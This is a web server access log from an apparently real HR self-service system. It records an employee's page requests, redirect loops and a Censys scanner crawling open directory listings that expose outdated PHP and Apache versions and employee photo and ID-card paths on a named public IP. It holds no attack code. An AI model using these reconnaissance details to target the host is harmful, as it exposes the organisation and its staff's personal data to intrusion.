/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:39:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [04/Dec/2025:23:45:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:45:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 100.64.0.1 - - [04/Dec/2025:23:45:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6703 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:45:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6703 100.64.0.1 - - [04/Dec/2025:23:45:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:45:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 100.64.0.1 - - [04/Dec/2025:23:45:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [04/Dec/2025:23:45:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 100.64.0.1 - - [05/Dec/2025:00:43:50 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:00:43:50 +0800] "\x16\x03\x03\x01\xa6\x01" 501 208 100.64.0.1 - - [05/Dec/2025:00:43:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [05/Dec/2025:00:43:54 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:00:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:00:46:23 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 100.64.0.1 - - [05/Dec/2025:01:58:33 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [05/Dec/2025:01:58:33 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [05/Dec/2025:01:58:36 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [05/Dec/2025:01:58:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:37 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:40 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:41 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:42 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:44 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET /eHRTEST HTTP/1.1" 301 243 100.64.0.1 - - [05/Dec/2025:01:58:45 +0800] "GET 